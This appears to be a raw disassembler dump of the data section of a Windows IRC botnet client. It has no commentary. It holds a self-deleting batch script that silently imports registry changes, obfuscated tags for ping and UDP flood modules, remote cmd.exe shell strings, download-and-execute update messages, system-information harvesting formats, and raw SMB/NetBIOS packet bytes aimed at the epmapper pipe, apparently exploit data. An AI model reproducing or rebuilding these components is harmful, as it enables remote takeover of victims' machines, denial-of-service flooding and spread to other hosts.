		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_428698	db    2			; DATA XREF: sub_40897F:loc_408A3Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNotSupportedBy	db 'Not supported by this system.',0
		align 4
unk_4286D8	db    2			; DATA XREF: sub_40897F:loc_408A0Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aUnableToAlloca	db 'Unable to allocation ARP cache.',0
unk_428718	db    2			; DATA XREF: sub_40897F:loc_4089D8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aArpCacheIsEmpt	db 'ARP cache is empty.',0
unk_42874C	db    2			; DATA XREF: sub_40897F+49o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 6Ch
		db  75h	; u
		db 73h,	68h, 64h
		db  6Eh	; n
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorGettingAr	db 'Error getting ARP cache: <%d>.',0
		align 4
unk_42878C	db    2			; DATA XREF: sub_408B03+13Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 69h
		db  6Eh	; n
		db 67h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFinishedSendin	db 'Finished sending pings to %s.',0
		align 4
unk_4287C8	db    2			; DATA XREF: sub_408B03+6Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 69h
		db  6Eh	; n
		db 67h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSendingPi	db 'Error sending pings to %s.',0
		align 10h
unk_428800	db    2			; DATA XREF: sub_408C8F+1C6o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	75h, 64h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
unk_42883C	db    2			; DATA XREF: sub_408C8F+8Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	75h, 64h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_408F0D+33o
unk_428884	db    2			; DATA XREF: sub_408F94:loc_4090CAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
unk_4288C4	db    2			; DATA XREF: sub_408F94+113o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_4288FC	db    2			; DATA XREF: sub_408F94:loc_40907Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_42893C	db    2			; DATA XREF: sub_4090ED+194o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
unk_428980	db    2			; DATA XREF: sub_4090ED+14Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Dh
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRemoteCommandP	db '  Remote Command Prompt',0
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_4090ED+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_4092A2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_4093C1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_4093C1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4093C1:loc_409525o
		align 4
word_428AC4	dw 3Fh			; DATA XREF: sub_4093C1:loc_4094C3r
					; sub_40A9A6+1Fo
		align 4
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_4093C1+EBo
a???		db '???',0              ; DATA XREF: sub_4093C1:loc_409484o
					; .text:loc_4129C5o
a2003		db '2003',0             ; DATA XREF: sub_4093C1+BAo
					; .data:0042A618o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4093C1+AAo
					; .text:004129B0o ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_4093C1+98o
					; .text:004129A0o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4093C1+7Eo
					; .text:00412987o
		align 4
a98		db '98',0               ; DATA XREF: sub_4093C1+6Co
					; .text:00412977o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4093C1+5Ao
					; .text:00412967o
		align 10h
a95		db '95',0               ; DATA XREF: sub_4093C1+46o
					; .text:00412959o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_409675+ABo
		align 4
off_428B34	dd offset loc_412F4B+3	; DATA XREF: sub_409675:loc_4096E9o
off_428B38	dd offset dword_4E414C	; DATA XREF: sub_409675:loc_4096E2o
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_409675+5Bo
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_409675+48o
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_4097BB+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_4097BB+10o
		align 10h
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409833+60o
		align 4
dword_428B94	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 702E7367h, 671F6C1Fh
					; DATA XREF: sub_4098D3+1Ao
		dd 0BB022029h, 202002BBh, 656C4320h, 64657261h,	2Eh
dword_428BBC	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch
					; DATA XREF: sub_409913+DCo
		dd 0BBBB0220h, 4C202002h, 20747369h, 706D6F63h,	6574656Ch
		dd 2Eh
dword_428BE8	dd 5B027302h, 5D1F491Fh, 6F6C2820h, 1F702E67h, 29671F6Ch
					; DATA XREF: sub_409913+3Fo
		dd 0BBBB0220h, 42202002h, 6E696765h, 2 dup(0)
dword_428C10	dd 78h				align 8
dword_428C18	dd 80000002h, 42A3F8h, 80000002h, 42A428h, 80000001h, 42A460h
					; DATA XREF: sub_409A42+7o
unk_428C30	db    2			; DATA XREF: sub_409A42+63o
					; sub_409BFD+170o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
unk_428C74	db    2			; DATA XREF: sub_409BFD+ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenRe	db '  Failed to open remote command shell.',0
unk_428CB4	db    2			; DATA XREF: sub_409BFD+47o
					; sub_409DBE+FDo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_428CE8	dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_409DBE+362o
					; sub_40A160+159o
		dd 0BBBB0220h, 53202002h, 656B636Fh, 72652074h,	2E726F72h
		dd 0
unk_428D14	db    2			; DATA XREF: sub_409DBE+2FAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
		align 4
unk_428D68	db    2			; DATA XREF: sub_409DBE+202o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_428D9C	dd 5B027302h, 5D1F491Fh, 63642820h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_409DBE+1CBo
		dd 0BBBB0220h, 53202002h, 20646E65h, 656D6974h,	2E74756Fh
		dd 0
dword_428DC8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_409DBE+16Ao
		dd 169h
unk_428DE0	db    2			; DATA XREF: sub_409DBE+127o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 10h
unk_428E10	db    2			; DATA XREF: sub_409DBE+82o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToBindTo	db '  Failed to bind to socket.',0
		align 4
unk_428E48	db    2			; DATA XREF: sub_409DBE+44o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToCreate	db '  Failed to create socket.',0
unk_428E7C	db    2			; DATA XREF: sub_40A160+1D8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
unk_428ED0	db    2			; DATA XREF: sub_40A160+CEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorOpeningSo	db '  Error opening socket.',0
		align 4
unk_428F04	db    2			; DATA XREF: sub_40A160+ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
off_428F40	dd offset byte_622B61	; DATA XREF: sub_40A160+97o
unk_428F44	db    2			; DATA XREF: sub_40A160+83o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 63h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_428F84	db    2			; DATA XREF: sub_40A3AD+4DBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aBadUrlOrDnsErr	db 'Bad URL, or DNS Error: %s.',0
		align 10h
unk_428FC0	db    2			; DATA XREF: sub_40A3AD+4CDo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aUpdateFailedEr	db 'Update failed: Error executing file: %s.',0
		align 4
unk_42900C	db    2			; DATA XREF: sub_40A3AD+40Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDownloaded_1fk	db 'Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
dword_42905C	dd 5B027302h, 5D1F491Fh, 6F642820h, 6F6C6E77h, 702E6461h
					; DATA XREF: sub_40A3AD+397o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 6E65704Fh,	203A6465h
		dd 2E7325h
aOpen		db 'open',0             ; DATA XREF: sub_40A3AD+372o
					; sub_40CC09+26EEo ...
		align 10h
unk_429090	db    2			; DATA XREF: sub_40A3AD+314o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDownloaded_1fK	db 'Downloaded %.1f KB to %s @ %.1f KB/sec.',0
unk_4290D8	db    2			; DATA XREF: sub_40A3AD+28Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCrcFailedDD_	db 'CRC Failed (%d != %d).',0
		align 10h
unk_429110	db    2			; DATA XREF: sub_40A3AD+1F9o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFilesizeIsInco	db 'Filesize is incorrect: (%d != %d).',0
		align 4
unk_429154	db    2			; DATA XREF: sub_40A3AD+1AAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aUpdateSDkbTran	db 'Update: %s (%dKB transferred).',0
		align 4
unk_429194	db    2			; DATA XREF: sub_40A3AD+198o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileDownloadSD	db 'File download: %s (%dKB transferred).',0
		align 4
unk_4291DC	db    2			; DATA XREF: sub_40A3AD+77o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldnTOpenFil	db 'Couldn',27h,'t open file: %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40A9A6:loc_40A9E9o
					; sub_40BB90+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40A9A6:loc_40A9E3o
aDisk		db 'Disk',0             ; DATA XREF: sub_40A9A6:loc_40A9DDo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40A9A6:loc_40A9D7o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40A9A6:loc_40A9D1o
		align 4
off_42923C	dd offset word_4D4152	; DATA XREF: sub_40A9A6:loc_40A9CBo
aFailed		db 'failed',0           ; DATA XREF: sub_40AA37:loc_40AB0Fo
					; sub_40AB52+3Eo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40AA37+6Bo
		align 10h
unk_429250	db    2			; DATA XREF: sub_40AB52+94o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSDriveSSTotalS	db '%s Drive (%s): %s total, %s free, %s available.',0
unk_42929C	db    2			; DATA XREF: sub_40AB52+5Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSDriveSFailedT	db '%s Drive (%s): Failed to stat, device not ready.',0
		align 4
off_4292EC	dd offset byte_5C3A41	; DATA XREF: sub_40AC2A:loc_40AC6Fo
dword_4292F0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0					; sub_40ADCF+3D7o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42933C	dd 3000005h, 10h, 18h, 1, 3 dup(0)					; sub_40ADCF+416o
dword_429358	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_40ADCF+2F2o
					; sub_40ADCF+44Bo
dword_42936C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40ADCF+316o
					; sub_40ADCF+472o
unk_429380	db  81h	; 		; DATA XREF: sub_40ADCF+8Co
		db 2 dup(0), 44h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		dd 0
dword_4293CC	dd 2F000000h, 424D53FFh, 72h, 4	dup(0)		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h
dword_429400	dd 48000000h, 424D53FFh, 73h, 4	dup(0)		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	6E000000h, 79700074h, 626D73h
		dd 0
aPipeEpmapper	db 'pipe\epmapper',0    ; DATA XREF: sub_40ADCF+261o
		align 10h
